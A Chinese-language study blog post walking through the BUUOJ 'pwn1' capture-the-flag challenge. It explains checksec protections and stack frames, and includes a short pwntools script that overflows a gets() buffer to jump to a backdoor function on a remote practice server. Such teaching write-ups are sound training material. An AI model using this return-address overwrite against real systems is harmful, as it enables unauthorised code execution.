Day00
博客
- 主要用于记录学习pwn的过程,主要在BUUOJ上pwn模块刷题
- 写博客时借鉴了其他文献,如有侵权,联系后删除
环境
windows10,IDA_Pro_v7.5_Portable,虚拟机Ubuntu(安装有GDB)
练习平台
安装
checksec安装
Checksec 是一个 bash 脚本,用于检查可执行文件(如 PIE、RELRO、PaX、Canaries、ASLR、Fortify Source)的属性。它最初由 Tobias Klein 编写
git clone https://github.com/slimm609/checksec.sh.git
cd checksec.sh
sudo ln –sf checksec /usr/bin/checksec
使用流程
checksec filename
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: PIE enabled
Arch:
程序架构信息
- x86是指intel的开发的一种32位指令集,intel官方文档里面称为“IA-32”
- x86、x86_64主要的区别就是32位和64位的问题,x86中只有8个32位通用寄存器,eax,ebx,ecx,edx, ebp, esp, esi, edi。
x86_64把这8个通用寄存器扩展成了64位,并且比x86增加了若干个寄存器。
RELRO:
Relocation Read-Only (RELRO) 此项技术主要针对 GOT 改写的攻击方式。它分为两种,Partial RELRO 和 Full RELRO。
Stack:
栈溢出保护是一种缓冲区溢出攻击缓解手段,当函数存在缓冲区溢出攻击漏洞时,攻击者可以覆盖栈上的返回地址来让shellcode能够得到执行
NX:
NX enabled如果这个保护开启就是意味着栈中数据没有执行权限
PIE:
PIE(Position-Independent Executable, 位置无关可执行文件)技术与 ASLR 技术类似,ASLR 将程序运行时的堆栈以及共享库的加载地址随机化, 而 PIE 技术则在编译时将程序编译为位置无关, 即程序运行时各个段(如代码段等)加载的虚拟地址也是在装载时才确定
GDB安装
apt-get update
apt-get install gdb
题目
pwn1
预先:
首先使用checksec

将pwn1托入IDA中

找到main函数,快捷键F5,得到伪代码,进行分析

分析:
分析可得,定义了一个char数组,大小为15
puts
包含在头文件# include <stdio.h>中
函数原型:
int puts(const char *s);
puts:使用 puts() 显示字符串时,系统会自动在其后添加一个换行符
gets
头文件:#include <stdio.h>
gets()函数用于从缓冲区中读取字符串,其原型如下:
char *gets(char *string);
gets()函数从流中读取字符串,直到出现换行符或读到文件尾为止,最后加上NULL作为字符串结束。所读取的字符串暂存在给定的参数string中。
【返回值】若成功则返回string的指针,否则返回NULL。
找到后门函数:

找到地址所在:
0x0401186
编写EXP:
需要15+8才能填充到返回地址,0x0401186为后门函数的地址,因为ubuntu18搭的环境,需要堆栈平衡
所以:
context(os='linux',arch='amd64',log_level='debug')
p=remote('node4.buuoj.cn',25684)
bin_sh_addr=0x401186
payload="a"*23+p64(0x401198)+p64(bin_sh_addr)
p.sendline(payload)
p.interactive()
这里为什么要加0x401198(即ret),主要考虑到堆栈平衡
补充:
栈结构
栈是由高地址向低地址增长的数据结构,其中需要使用esp,ebp,eip等寄存器
esp:栈顶指针,堆栈的顶部是地址小的区域,压入堆栈的数据越多,当然esp也就越来越小
ebp:基址指针"(BASE POINTER), 它最经常被用作高级语言函数调用的"框架指针"(frame pointer),一般存放当前的栈底
eip:寄存器存放下一个CPU指令存放的内存地址,当CPU执行完当前的指令后,从EIP寄存器中读取下一条指令的内存地址,然后继续执行
在函数(子程序)内部,可以使用 [EBP+立即数] 的形式来取得主程序传递的参数,使用 [EBP-立即数] 的形式来访问局部变量。操作堆栈常用指令为push和pop,push对ESP/RSP/SP寄存器中值进行减法运算,令操作数写入上述寄存器中指针指向的内存中,而pop指令相反,将ESP/RSP/SP寄存器中指针指向的内存中读取书籍写入其他内存地址或寄存器.程序通常使用call指令调用某个子程序,同时下一条指令被作为返回地址保存到栈中,被调用函数结束后,使用ret指令跳转到返回地址(一般这时eip指向返回地址)。
那么如何进行这个过程的?
| 过程 | esp,ebp,eip变化 |
|---|---|
| call子程序 | 父程序中下一个指令地址被压入栈中,esp指向它,eip中放入被调用函数的地址,然后压入ebp |
| 返回父程序 | 通过leave指令将esp恢复到当前的ebp,pop ebp,ret弹出返回地址到eip中,程序回到main函数,最后抬高esp清理被调用者的参数 |
堆栈平衡
http://blog.eonew.cn/archives/958
参考
- ctf-wiki:http://dyf.ink/pwn/linux/stackoverflow/stackoverflow_basic/
- yichen的信安知识库:https://www.yuque.com/hxfqg9/bin
- ctf竞赛权威指南 pwn篇

浙公网安备 33010602011771号